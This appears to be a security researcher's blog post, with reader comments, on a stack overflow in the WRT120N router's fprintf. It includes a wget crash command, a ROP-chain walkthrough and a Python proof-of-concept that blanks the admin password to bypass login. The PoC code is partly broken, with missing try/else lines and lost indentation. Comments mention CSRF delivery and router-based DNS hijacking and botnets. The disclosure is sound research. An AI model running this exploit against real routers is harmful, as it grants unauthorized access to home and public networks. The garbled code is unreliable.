WRT120N fprintf Stack Overflow

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

401 Unauthorized

401 Unauthorized

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

bypass_file_list("/cgi-bin/login /images/ /login...");

bypass_file_list(“/cgi-bin/login /images/ /login…”);

Full list of bypass files

Full list of bypass files

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

cgi_tmUnBlock function handler

cgi_tmUnBlock function handler

The interesting bit of code to focus on is this:

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:



Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

Respect yourself. Don't use sprintf.

Respect yourself. Don’t use sprintf.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')"
Stack trace of the crash

Stack trace of the crash

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

Admin password at 0x81544AF0

Admin password at 0x81544AF0

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

fprintf's function epilogue

fprintf’s function epilogue

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

First ROP gadget

First ROP gadget

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0x60 to the stack pointer:

cgi_tmUnblock function epilogue

cgi_tmUnblock function epilogue

We’ve already added 0x10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0x50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

Second ROP gadget

Second ROP gadget

This gadget only adds 0x10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

ROP stack frames and relevant registers

ROP stack frames and relevant registers

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys
import urllib2

    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]

url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "\x81\x54\x4A\xF0"         # $s0, address of admin password in memory
post_data += "\x80\x31\xF6\x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "\x80\x34\x71\xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler

for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "\x80\x34\x71\xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "\n\n" and terminating
                                        # NULL byte)

    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
Logging in with a blank password after exploitation

Logging in with a blank password after exploitation

Arbitrary code execution is also possible, but that’s another post for another day.

Bookmark the permalink.

24 Responses to WRT120N fprintf Stack Overflow

  1. Raak says:

    can you link the firmware here ?

  2. comboy says:

    You’ve done a great work. I imagine it must have taken you quite a bit of time and effort. The problem is, that there is not much incentive to do that. Most incentive I would imagine have some NSA workers, then maybe some very low percentage of ambitious black hats.

    In my opinion, such hardware (+ default software), should come with a sticker that lists severity of bugs and bounties. Then when I buy such hardware, I look at it, and I know they are $50k sure about their security. So I choose the one that suits me. Of course these more secure one will be more expensive. Which should work both for demanding customers and for manufacturers. And apart from companies profits it would give incentive for independent security researchers (and not just NSA) to find and publish every exploitable bug in these.

  3. axet says:


  4. luja says:

    Thats pretty cool fun with our old friends at string.h
    I dont get, why they are still used for stuff like this. 🙂
    Having string.h in a small time tracker tool for a local user would be ok.
    But hey, who is interessted to do an exploit on a plastics router?
    Nothing to see there! Please go on for some serious stuff.

    But: Well documented work!
    BTW: what tool do you use to get the nice graphs here:


    Have fun with your devices!


    • Jarrett says:

      That’s just the standard IDA debugger view

    • stergios says:

      “But hey, who is interessted to do an exploit on a plastics router?
      Nothing to see there! Please go on for some serious stuff.”

      Definitely not a hacker’s mind.

      One of the simpler and most dangerous things that could happen is to change the DNS servers that the router uses. Can you imagine why?

      Let me tell you.

      Simple DoS to the network, remote traffic sniffing finding passwords, exploitation of network machines, exposing machines behind the router directly to the internet etc.

      Could you imagine such an exploit at a public cafe? or a friend of yours exploiting your home router?

      Plastic routers are fun and serious stuff also.

  5. Pingback: The News From The Intertubes | Blog xaie

  6. Sebs says:

    Thanks that you took the time and effort to explain all this nicely 😉

    Learned a lot!

  7. Sue Donim says:

    Did you have to take Endianness into account in any of this? If so, is that a matter of simply reversing the order of the bytes in the strings?

    • Craig says:

      Yes, endianess is important for any low-level exploit, and MIPS processors can be either big or little endian. In this case, the Atheros chip used by the WRT120N is hard-wired to big endian.

  8. Glenn says:

    interesting article, well explained too. Too bad this model actually doesn’t run firmware. That would be your bugfix 🙂
    Nice work with solid explaination.

  9. funky says:

    seems like the IDA debugger with some plugin.

    maybe https://code.google.com/p/idapathfinder/

  10. Flo says:

    Good work and nice, intuitive post. Thanks.

  11. Kevin says:

    I tried on my network, with firm 1.0.04, but nothing happend…. just for 1.0.07 ?

    • Craig says:

      I’m sure other firmware versions are affected, but the addresses used in the exploit will need to be tweaked for each firmware version. So far, I’ve only tested on v1.0.07.

  12. dummy says:

    Are you actually doing a GET there, not a POST? If so, could this be done via CSRF?

    • Craig says:

      It is a POST request, not a GET. You can still do POSTs with CSRF via javascript; the biggest issue is that the browser will likely URL encode the binary data that you’re posting. There’s no guarantee that your data will be URL decoded before the overflow, though I haven’t tested it on the WRT120N.

      There are other ways to leverage CSRF against this device though – more posts to come. 🙂

  13. Pingback: We should respect our selves too .. | RaYMaN4Ever's Blog

  14. b3rt1n says:

    I’ve seen many comments like these one :

    But hey, who is interessted to do an exploit on a plastics router?
    Nothing to see there!

    Exploiting routers allows you to redirect DNS request to a malicious website ,for example banking.. paypal.. amazon.. if you could exploit many of them you can build a pretty cool botnet.

    Thanks for the knowledge craig.

  15. Pingback: Buggy embedded libc implementations | RaYMaN4EvA

  16. NimdaGo says:

    You’ve done a great work. this is very cool. Could you tell me how do you get the crash dumping?
    The “Stack trace of the crash”.

  17. Jake says:

    An fprintf() stack overflow; never thought I’d hear that.

    Is that implementation you posted in the SuperTask libc or is it somehow specific to the WRT120N? That seems like quality code only a router manufacturer could concoct (surprised D-Link didn’t beat them to it).

Leave a Reply

Your email address will not be published. Required fields are marked *